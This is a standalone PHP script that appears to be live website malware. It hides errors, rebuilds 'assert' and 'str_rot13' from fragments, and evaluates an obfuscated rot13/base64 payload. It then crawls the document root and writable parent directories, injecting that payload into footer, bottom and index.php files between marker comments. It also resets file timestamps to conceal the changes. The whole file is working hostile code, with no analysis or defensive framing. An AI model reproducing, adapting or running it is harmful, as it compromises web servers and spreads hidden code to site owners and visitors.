$text = '@ini_set("error_log",NULL); @ini_set("log_errors",0); @ini_set("display_errors", 0); error_reporting(0); $wa = ASSERT_WARNING; @assert_options($wa, 0); @assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as"; $strings .= "se"; $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r"; $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode"); $light = $strings2($gbz.\'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8ip2IiLaWuracypaZhpaHiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvHxIAG1ESK0SRESVvKFxhVvMxCFVhqKWfMJ5wo2EyXPEhLJ1yYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv4xqKAypzRhVvMcCGRznQ0vYz1xAFtvBJSyZGt1BGNmZQqzLwZjLmSzZwN2ZGD0AJZ4BQMvAzHkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9QG05BEHAHIRyAEH9IIPjtAFx7VTA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9HFH1SG1IHYPN1XGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWTyvqvN9VTA1pzksMKuyLltxL2tcBlEcozMiVQ0tL3IloS9aMKEcozMiXPEwnPx7nJLtXPEcozMiJlWbqUEjK2AiMTHvKFR9ZwNjXKfxnJW2CFVvB30XL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvtuMJ1jqUxbWS9DG1AHJlWjVy0cVPLzVT1xAFugMQHbWS9DG1AHJlWjVy0cXFN9CFNvZQR0LwuyATV4ZQEwAwSwMGZkLGWuBGLkZTHlAwNmAwLvXFO7VROyqzSfXUA0pzyjp2kup2uypltxK1OCH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwfXsFO9"));\'); $strings($light);'; $code = ' error_reporting(0); function str_replace_once($search, $replace, $text) { $pos = strpos($text, $search); if ($pos!==false) { return substr_replace($text, $replace, $pos, strlen($search)); } else { return $text;} } function fuckoff ($path, $no, $end) { if (file_exists($path) && $no == "1") { echo $path."\n"; $time = filemtime($path); $text = \'' . str_replace("'", "\'", ($text)) . '\'; $file = file_get_contents($path); $filec = $file; $file = preg_replace(array("/\/\/###=CACHE.? START=###.*\/\/###=CACHE.? END=###/isU","/\/\/###==1?=?=?###.*\/\/###==1?=?=?###/isU", "/\/\/###==###.*\/\/###==###/isU", "/\/\/###==2=?=?###.*\/\/###==2=?=?###/isU", "/\/\/###==3=?=?###.*\/\/###==3=?=?###/isU", "/\/\/###==4=?=?###.*\/\/###==4=?=?###/isU", "/\/\/###==5=?=?###.*\/\/###==5=?=?###/isU", "/<\?php\s+\?>$/m"), "", $file); ' . PHP_EOL . 'if (preg_match(array("/\/\/###==5=?=?###.*\/\/###==5=?=?###/isU"), $file)) {' . PHP_EOL . ' $file = preg_replace(array("/\/\/###==5=?=?###.*\/\/###==5=?=?###/isU"), "//###==5==###" . PHP_EOL . $text . PHP_EOL . "//###==5==###", $file);' . PHP_EOL . '} elseif (preg_match_all("/(gzipout)/isU", $file, $output_array)) { $file = str_replace($output_array[0][0], PHP_EOL . "//###==5==###" . PHP_EOL . $text . PHP_EOL . "//###==5==###" . PHP_EOL . $output_array[0][0], $file); } else {' . PHP_EOL . '$startCount = substr_count(strtolower($file) , strtolower(""); if ($startCount > $endCount) {' . PHP_EOL . ' $file .= PHP_EOL . PHP_EOL . "//###==5==###" . PHP_EOL . $text . PHP_EOL . "//###==5==###";' . PHP_EOL . '}' . PHP_EOL . 'if ($startCount <= $endCount) {' . PHP_EOL . ' $file .= PHP_EOL . PHP_EOL . "";' . PHP_EOL . '} } copy ($path, $path."_old"); ' . PHP_EOL . 'if (!file_put_contents($path, $file, LOCK_EX)) {' . PHP_EOL . ' chmod($path, 0755);' . PHP_EOL . ' if (!file_put_contents($path, $file, LOCK_EX)) {' . PHP_EOL . ' unlink($path);' . PHP_EOL . ' file_put_contents($path, $file, LOCK_EX);' . PHP_EOL . ' }' . PHP_EOL . '} touch(dirname(__FILE__), date("U", $time)); touch($_SERVER["SCRIPT_FILENAME"], date("U", $time)); }} $searcher = $_SERVER["DOCUMENT_ROOT"]; $ResultList=array(); if (class_exists("RecursiveIteratorIterator")) { foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($searcher), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD) as $file => $info){ $last=isset($file[0])?$file[strlen($file)-1]:""; if ($info->isFile() && $last != ".") { if ((stristr(basename($file), "footer") OR stristr(basename($file), "bottom")) && stristr(basename($file), ".php")) { fuckoff($file, 1, 1); } if (stristr(basename($file), "index.php") && stristr(basename($file), ".php")) { fuckoff($file, 0, 0); } } }} fuckoff ($_SERVER["DOCUMENT_ROOT"]."/index.php", 1, 0); if (is_writable($_SERVER["DOCUMENT_ROOT"]."/../../..")) { $searcher = realpath($_SERVER["DOCUMENT_ROOT"]."/../../.."); } elseif (is_writable($_SERVER["DOCUMENT_ROOT"]."/../..")) { $searcher = realpath($_SERVER["DOCUMENT_ROOT"]."/../.."); } elseif (is_writable($_SERVER["DOCUMENT_ROOT"]."/..")) { $searcher = realpath($_SERVER["DOCUMENT_ROOT"]."/.."); } $ResultList=array(); if (class_exists("RecursiveIteratorIterator")) { foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($searcher), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD) as $file => $info){ $last=isset($file[0])?$file[strlen($file)-1]:""; if ($info->isFile() && $last != ".") { if (stristr(basename($file), "footer") && stristr(basename($file), ".php")) { fuckoff($file, 1, 1); } if (stristr(basename($file), "index.php") && stristr(basename($file), ".php")) { fuckoff($file, 0, 0); } } }} '; eval ($code);